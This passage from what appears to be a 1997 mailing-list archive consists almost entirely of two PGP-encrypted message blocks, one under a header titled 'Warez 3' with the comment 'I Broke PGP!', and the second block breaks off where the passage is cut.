iUHPdO5V1f6G5tZhWpXBNSpvo49xlyEURk4HoNCK9fOdfRXQfzftWr/MdP22UOUy
2+Zfjp0Ied3pTgKmn9aU/VL0lozgm/nOf+shl1ZxJl71QUi3xggelq89QuFx1zZs
vniwXRmFLbBwCMZtFxAExQZLR5oW8H2dwnVk14rNCrp3dhNyOaMK1SzsVRCmhV2S
g32ksP65KNkuzJm7a0WZWC0AKB2Z+6t8UcbttJUgvj6Q1HiY+wM8WhWxDK2iMzdp
GpynzxTKqHNo4KUgAD95HLeUg58KDGSpHw+ZP2gEV/9olVkEP3nRYWY93gfitQET
PqKsFlZY4dTiO753/+ljLX+JcD/CsDFU6T8ycdkFYk/YX3YbxBlNZN6PwtWI5ssO
WJm+LzFPNh8jevd4G2etui2qr90E0BM1QzrozFrZItyte9vxF/DEWlI6jrx4+QMG
fvNt0TpCW6B/k8Eylk9Y1E0Egea88VW5zh7eS2/9bGQkAS380U3wTTx2zdhgLyM7
C0SPMzdq6DI2YAbzIfYqqx7MFdSlTyVsr+Jbd0M4Zu0Vl0bPae+iIZzESgSai+t/
heowQCedvORDAUZWab5eqDfmp43h303pTnyd0ypUzQuVlceVHlHzISUqptRGv0cI
q61g6/feLWKVorQDSVnxieBckY0ol/Al2xxpVMqVn9bwDIt+mrlwmVqHagu0EciC
rpGCCjsrFDjch4Zan2GqiCO+u/mRz9u+F/pEQUqqQG05sC+1xAul9jHgoTUuPRSQ
u1orDhrKJj1sGJo/vxMtttatWTcspCdeHVjZkhbWj8Z+QRyuky3oWw3WCELmI7xI
AZXEY2JHM2ZP9YK8zB1UaVWzgDQbU0/S/gaqXrO6QRceIx3xAt52aY6bETfBVeNI
qZ9dMxmNzltoQAwENHURAMf7hDeZ98HDlh2PYqFoH3mVgRKFCMf1k+6/McT3uUnf
KrAY3sJLbMljGVL6PbJzdG+CxeKrsM64vH0s0bixgHTiD4K+TG4vix3u6x5usQcO
2gbIQDFqlUN+xJcuEFBh9OZypu2EYeHsrL7lQr6MDpCsaUviC7kRW9NP3JpdaCSl
TLhbcodGMENZ3hr9hxpcloJK1AIYiPoHaRbLEvBmvkEDvT+Mp0rq/z5mSzehLsnn
unIRoAwvMHbQJWxaq2lsH0JsZqggfjqt+DbCGZOf0Gz5zRJ3ZDWu5IsDc7xfyT3+
0IjybdAwXFZEtipGB2tctiWjhARuTvpDO64upeV18RJLCmsY0FGAgGx/j8apHBiO
hIHID+SAcy+7T8QdFoPXdthOvnWC7iQXf5sTmY+PuyQ5mCq8pR9iFdK31RsjQJG0
hIskxEkjcIb0KadHhOYm5Dq5wVKzHEEu7utUguFQTor6Id+Sm19p6f8rYTV7h/KH
n8yrvx7FchymuwUxfGpHikvRA5grGQlmW9Lfd5imQ+PZcscFcMH/c/bH7ThYPLrY
d03TUviZJf7LOvgtzVVIImsKXB8HTRqXyaoW8rzRq3rsgi4KrnZT2ECFXotqyEHw
yQtXyz8+SYpbwb+SP6wJQ2r65K6NdUQcXmcsJH8bhiM6wu6H6WkHDh2U0YLHOZFG
81HVfpZhWP95+h5i2GKFXRDFgYc8XEG4KjUq9DpBXgMxwdOjWLXm3hPn4ZwtreVO
QSJ6vduYpxwNisQDadusfjlLlfI38a1h3WmVcRJT8CHm+vjKK85lenad12yok5Ma
4Ee3FI/VslYHzfbbMxvwVwS+tT9WsmAPczCjDOIs/eWiHoU7kcEs4XNIIaOEhjzD
hCdg3w/ux/Tn6tUEQn+EBf9ovDUwgGq/GwNNm+wXUwRJHvGV3tSxWNgxUwDDqxZG
fAEvqkp5NzBImm0bPHRMR0Mfu/Q4BWFC3Ph+ez/dNSKQcySA1dMXfS4Z2bnLXdvU
swGzwYUpDPjngIg2lsaLh5dRTDdAorhZGnXHIDv0KegDl/mHZ0dGBjF8TKneZAlF
njEeAB//SM6AHAScpsg3yE4ovqXT58M11Yha8l820zQO364aibPy1VN1uctcYz1w
JdkdE4Itys6PltiqCqrnRdP3blQXvo2kdc4Pv2zLtLlNukUjoUxHzpjNhsuvwh5p
tyOXnUXyURNL/mYCYA4nTjGRTSW9uv+lIXhgYWfV+WegH1XOttIMNhhlVwIP/4ue
ZVC5NBTo2G3LS+ouS0qddpkDL6sy30Gd47OTmxuuEmW5tdF/soXJwe7wKAfFO3+4
tNl9AiR2obEV6gnM3VTepgomhnCDyY9Pjt2XlOg6zE89kjnHe+t6/W6SuENCfnJn
572qDhmBFJ60GzfIdgyGEzxofpVRYtW0N9os3+NfSXwgTXK329UDeAq0teKu9Dio
qHTytZDJC1BxmJqGdXsTG70X4Ni7WL+Qvc8DOW8zOF5h9F6p99dPf4PqtViX+XER
t3pNHQjLeaCeKUquYcvStiHTIldEh1jMIYpOLIzm61eETx9LyYnTOgUO4Nm+D6N1
Zh64reRKT4tZK90+OCxauaO8Yu8NbMr/39Nxw9c/g1iwphwm4YJeXHhcaCUANec+
n199aKbjJ3/8DgJc6TbRFY7D16WKBRO6/OflRoG18LpKf3mWPqghQt7IsF3ex+nv
1d/VGGAm32lx8epiHJF1yklgiNLZOqPHCSDmA0qvFFr/4NGTgdlhxsSAfHljm541
7X/TXJn0G2LvzLEYl7WASOYJYcZdLoVw/oZFAFEBX781XIUo9o8E2v8vCrsK8C7C
16ARie5gjy1Lq2UBSBDjeWIe/dfw8FjMpCY/O6Svx1FC6F4HLHCD1T5GY8p4RM0p
cDbgtJUXzkxKmbxu6UMCLLAkCRt9fBxNGX4YlULiDooBTtLXory5a6hbF+zNUu/8
AtauAXHuMFCbhN0BcevV2ih2lJgdXvScS29yiRTkn+yRhD5y5O6vlKTNXI2X3+j6
pdFJdSHKcrMkPP9A861ksTUhvE0vuap2X+z41bYngH8uw3iXAZstP8/2lEdXsAtA
mB82qKWtzG7MzBED0P6xpGJjYd0dg0BGRMI3OlJ4jISbCZFZk4mRyj4YGWViD7vk
h0xAXRJK2W6tnZlwcVMdJp28M9EdOjzS0zhBDQO38ejOd4vA71lU7qhRrrqrWkIG
3g4th3l3tS5oh2FIFCPXo1eyi5SMXszXCAJndOoDHsE6SvmKkTU6c4ng56PD3Zes
bGdchXrHbR0OkmoxlIUJM5E9m9UDemYw6+KUqih7CuLl2RPv3RvwV3t5szQBvdwW
ZKClEoQycuv+ZERB0262Si5/0C/CXrSBvcwnkaChCWHrqT9/Gn+bXlAOHHpTsbwB
6riAO4nTeYBqnrBgDil86zS0qiKrmPbUz+nzIRSqJNl87jKuR7C8P50NY6k/Fx/P
KdJtAZ/UxN4Ouz1K20maD+XHI9VroXPLbHtzKDVCbE5qDJeiOe/GBhjmVN2OQgwo
b9/Ly5vANqRxL87CQwfnnEocfQMdnQNJB2kfVMTRT0WLLwPH+HREidoon4gJRCGo
ow6pjyWXotvRnHugBDrgt4iBJQtWpGerMqDWhlzBu6n1MYyOXQN61J/YK1d1vCTk
Ncl/axzNuFBWgnel/l0sFLDoPP/Qyob5aYOG/cXMcKQ4d+FS9fafefuPm0P5Euyv
3MpYTAIWiabEhg45RZLPdLfKEw6UVKfdBJbRzz56qJ5XZ/4UNR1hTnQyM/gaUYQz
Kta2ReEajz6DyOF5+N1eBHTOwrbtzPuuWteLFXlsrMFxdTIZJQy6hiWpzmNFe3Y/
oFncUb2FV5Lynt607E7o2mkMhA8IeiOupQDe90Ahuj6/yYgwSTrXyaWIbAa+FeHT
oF3Kq4H4SpSLka4cxurwJbXkBRPIUBlInJJggQvRCIPnFgkL9JHaU/i/NIi94Lkd
MyoxN20vC1C0sgdjKUHSYPd9iwg+PqG968HuJhjCrHDiRQSl3GgDeOVTEQLnZiR3
Ut+0pbfLW0HaJF/tubrNLMR/ELc62ri9DI6X99qfTLByrO3SJ8AgE0eikAdh2C7p
noyxIzt+GZeCMzNNp5bRvLfMRo6pZk1dcNlkJTtdh4Hh3YUQTccydJLMyiQ71fB5
eB+iV1tkXvDHwYyJXN6pv1j8pWSpnflkwKMRQt+Gn9JATK2Kx1J527gY3GmZMA46
NxcrdtbGgi+mgpz2v5k/sEYtRAZbjx4BhKCudu/hrtDXGDBda/mN+Iz8ZEUH3tx9
K3wwjkkBirfIc7UqTThroV8YPsWfyQ3NoVODutfYUv8P644w3IpZ//A0gflZ89HQ
UNafybYCNtRZXPu+lDAFrMkAzGeukkEmNadfcG0tNJfhgG7y3WwR34BroZnW22Bn
GobvUrUic/Wi22ewcO3Qf1Jy9hKr2SWPBBkTQE0ShKzJvEMrFH72Tfo6RqC3UNSz
VKrapoxq+zR80TOqsz0BwvPZg8B3Qi/8vuMIGDqQlWW12mmwUr2sAXjcgxgS7z/E
Qd2g4OvTpKF2oxOp3TJ7zaaNiHhAw3+UtJgS0pxCgZi3PtqNniAP71PXfNkS1CmI
pC+rJ4tD8vBmih8At8SLt/RGGsSwKNVhjvEZZWCtAryv5FnI6uuqPOIiWgqZ9bwg
w9xr5rjameXpoMjpyLC/96iaz5KZAvA+0eNnEygRfLZJtOofxSEqOeyoIwHo7lpO
xsW58y4pzplc4Gd7aokdtIqd0E1EdD6ws+xsUkCI/S+7qzMidXra5ofytLipWXmp
K0AjUG4hTrA7QDHxWv2Jswm+OjQqTZaeb5Puue/vBwLZ9fR7tUL/bbxrGZcTPhiB
q1/OpwE64aneIXEbxVpKmJwYctEOgxUhKlLgXROcQDjYV2P75RiBSyFotRlWxwbQ
41RuAeK5moZtHh7F/0a63BKjQAEU03xD7M8YEKf1JICY/iWH9IkHqsPFEx6NLmfQ
FA97HIlSISYlHVQGLJHKuSWHO47rktRKEJK1KLpuKugy9qRGVXzrZslUoW8F5gQT
pVOQ9rl80qUlkSf2NYGY3xc53fxZBZzS4k/73CcmCjdNj1wPmWy9a08gyrw6uFkG
VHsG4bHZyGjz6XupZ6L9ByMoyfJVQrFZ7E0lPNjU/cD4xfIC75PR3SMX712GA/03
b7LlM469UFgUXZSV1qcBYvuXIpnD+XPv7qzEuY/bCg4TXq3YeXzrVmAHTVkHK57r
AfXwGZ5wPVK5O47As/IgwwNFPZmcZaPRb+5vIFwD0hExm6twiDwf+znwdHbWx6vp
Wxtl6x+Dlv8z/fgpnWrVwrvSfQOpwKThHGxGFMDYtiwQt6DAjNH9VQiKxJyl3EwV
5Kb04ZZvdA299gsZ95Ao8Wgvdjc6MS9W4X0oShAnnTZLmCoXFq8IeoEN3rNULnJ1
sWwAD5MGVQccTK4yxjjQvqjqPBjNzW7yDYXHKX9UF8D47zprZkxF9tSxmt7c9AjM
WMLR9SqvLh7kFGRqLGHBQjJf1f2i3XB4WohmUE0VpuDdTxE0zqv6Gw6ljvWzji+Q
JzG/H0hxq67YHSXsFyeoNDMCv0B8Tc2riz6LqVWJns6jkcSodVP5oLNBi1dtw3hh
zK1dgh5sTbs3rChs5iI6tt6CLpSc72vasUKGPo0pGPPz9OftnMAUeL2G/LlzZYqz
IvwH9pKcg5DUWujfM7nKpxeiz0bxyw+0M/YKD1ggfVOfRAyquOs58xS+lmfeDop9
cVoyqRpZBNZsrRwdA4VrnpCVyT1YT3Yuds2XdThAduIz/APfXJq41Xpzgk8KtIM1
dsX4X0vI5xlXvpp93GZ7UhT73YmS1w/5z+uXfRxwS5bTNKNGyPnNlQVj/OTdUAs0
JosKtkDiGvYgGbFDYzo6yR2J1zmCXR/jJS2Ji1Sh6oD0slrKC5yc/opTRrEAz0jc
sj75SJ2njLaigZax+t9hNyipR9TGXmJ98Y0yDgHbcF3239Aw2d9f3Ie/eJkENuI3
Gixjh+pS6Rd+9vCixZ1f73GvPPJW1M3JAJRI1AvsBi6165l9eR9EXCTpBqhbr67V
5qa3KFp3SsD/gzKe+T93WXdF50gLStvWzAVCnXMzuJ1IzjH8p6K14s8kB9bxhOov
NlPRF8XIP860G6afAJFCQFl+eGZ0iHTw98uHVnkPuKeblRhmbOuAfBYKTp27Szje
Nttq+TMigUnPDgeHP0jMSCBURMuuDRcx6v0kD2aJ1XbCixop+iwXt91bBuYjd4EN
Fc1hWiNtYHeF/EEI6GOQAP+89Ujs5T2ej/Vsb5tWch3C38+wjAhlU08D1BWbFpOU
/5vtzN7U1tBL5BIYYUoDUUpIvDebd32JZU+IfKNL/5a4i+BH1L4H1G9zYC4TUaL/
ZgXMuAwoolQ3hWNFobiuzepFh4hc04xgQqwjAbnr5jvp7XZRJfgcD6iTmrZNbehm
cYpzWXE4UdnBUTDZWkhvW58rGiBQUs3GiwMj4WVvaY7C0i66cjnSp/Rdwq8go9jW
V2fHEkltU+jZrkfJ4ezdnxdpvHEW+CGBNmJddlAamoIDMP7AQXAnv+X1BAJTVFlg
UHEzOsZTDUm0Oy8LLwZJpWSiF1SWLyMWp5wGJ3R/KLS4M5pDfKx/S6ao2Rj0Qr1b
4CR1ZZ3nnmg4SAAVgUIXZwher37a5QHnrtZREBUlY/tWLtMCPgXAJjhvgAy5ijds
+dUZ/3jHmH1XZocXlcMUlrdNVij3pwv3FDFGoRx8Bl7qjPOXkpUq2waGJgjQsOmv
rnayffVCZYIEAgmml87CvXEkpu83APP6dhM1iBlyM97bgIeNIfYXBiha9m1rd/ry
vSRR9uIxdn70DKcMuH5+4/UOY8J9o8n0oSEvRyAxsHB86+190VwMs6n99O5AqHFv
uP0r5eqbchxo4zKPEKykGB/XIwHlVoYQpSjiRzu8ur2OtDaPglMdIeDili/yCG6L
pP/0/zipwWl4fr4HMf7hOpmlsH0XARZWLMXEpDMe8UbS8SjTmfaZ3o+t6JrsZmIO
af8OUbOOxHuaSLILwzgQmiGmD6sc2LVN2WAQMROdgzNXwyPgSXg0f1+W9dKcihdY
JAQeRfe1YD0eTiFiuf0Zq50G+x8VWOpxE+i17k8z799+aa950lXB+FYy1m01B8ZW
bIg+jb545nmCjbKsbbs/OI8HoJtVNBZKWFjrskTokjrewzujP6VKiMHasaPZxXnL
0baVE8l/bznY7Boydqz+f/vY2bVG9kOaipLLX1q2sIBvgr/CpZUtLL0BiO6ns3en
54MaKj503S19m0amLOSlIsrKnOFdA+M9hEoRiAhCATJIwAiDTYlPMSxraSTCKukc
dyn+79ucky3ZMXMmyYdLM6SLz5n2mn5OgxBwtVjDrWiMZN+TVkLCftEi9bOCM6Mw
Xb7iHTy950oANY2PcvCAYH9ZeneCnxpsBzEjm9dPn2QHQvyrhEl/X8ALCnl3S4xC
rOscirrN0O8S9C61kLhItXlDmnAY5967zsHptmVxdqSljeGASeI3M/SF8UZ+Y9xj
Ls4qbTqtDYQUHFPsRFc0jgowUSqsmGaf2Pm0hp5C+R5rlLFku60Z6Hn5Xes/HrS+
HzwavdkqoiU2oEm7neDv0YuhYeDrVfO6O1AL8k92UssCSxqf675bZPyQ38uS2i+s
QRzoiRQ9Fe/VG+HpHGFZRXtiq7+3wipItfdnPcrNncIDzsJPokeGy0yZYBtyxxZ/
Lq+DdKaq9IA9Cdetl3kJ9EGF1C3khdmnABkT+Fq7cF6ZeCzXFdHSUDPVpA+XQ7l0
Nt3WEQiRg4ToDU4dWLqIV4UmTrsFkbYH+X4gS1kPZaKpw69GODus0pxu8c1pSw5A
0PdMwyXk7+ygwzEXxJi19wnTJP8g09il/TRjFBY6x58lWtXor9I8mTtbQvYXE9iW
iG5tagOoyIII4HRTe/vwV0cZvh6t9emyY6nDSoLrmxtM3ZWjgkIf+jcgIrSK41NW
1QIQL79KXBS9EHHpmQwfVQxseIhPN1pIuTKu8XspHD/adfrLfct/jeZ8Unm48jSt
FJ1Jg15cr+YDJo0IwS/mIY89CD1QGGlEdCwKs1z+AeBbqcuLmo38Dt98hHoxJjeW
hRT+t6L9O/jM2lS222hpIde/yjP2P1ugB91/jzkxuXznNYk524U63aT0ea09j6n9
1f2M1fAdCFGSh0Si0QcMTwHLmpLV6rA0BUm06zAhc90YEw5w27F4YTSk1rfjCW2t
go474Xx/Ng4qsnvKwcMg5NdcArnD3QO20CMlepAzCCsmzbem/71F1lpQB/NulX1C
axtyk9HRVKMJQlsl7geJSU3M9UHwaO6o9xLGbaoh1q3pbe/vmZggGnCCgwn9vT0x
4yf7pKwBTnwQtcdYW15iBiKgBLjuohXSi3ufdVFqZUXXoVQvvt9OVzLWjb5Kv7CX
mbOpwU949gwkxq+ahU3pGwMaXcTg/cLJHImk7SIJyGTJ+cJBeubEJN0gFysNuNp6
w0t9aeWOzxX2r57sbxQi0sce74mJZK2SIukIKy8CMkB2XkZmGDMbYbt7/LBPbOeD
EbdpoBct/I64xW3O/kyLdgDJvARF6XTBe03he3qMaoWM9NIqto2MLpRas2ukx38I
8qf2+wOqrGwDy042ie7NDSdXL6QObTM6pOK44aA/u7N1zWy+b45+0NhN7Mf1bgRr
f8bI8Tah0TxBYjS5chGoSJFkwX4SBBpI5d0daAZwd5DMH8HLVkdx6KrhqOuopV3A
2q6QXrKuspynBsXiivbbI5LPCeAjZDplMMglvJ+cJfbtbiZMrvLi0LWG8Gw33K7W
EYZxnbcRJcG4W1RsML/ohWLtZZt4nVbk2iSG
=Vi3m
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:09:39 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:09:39 +0800
Subject: Warez 3
Message-ID: <199712180758.XAA15698@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
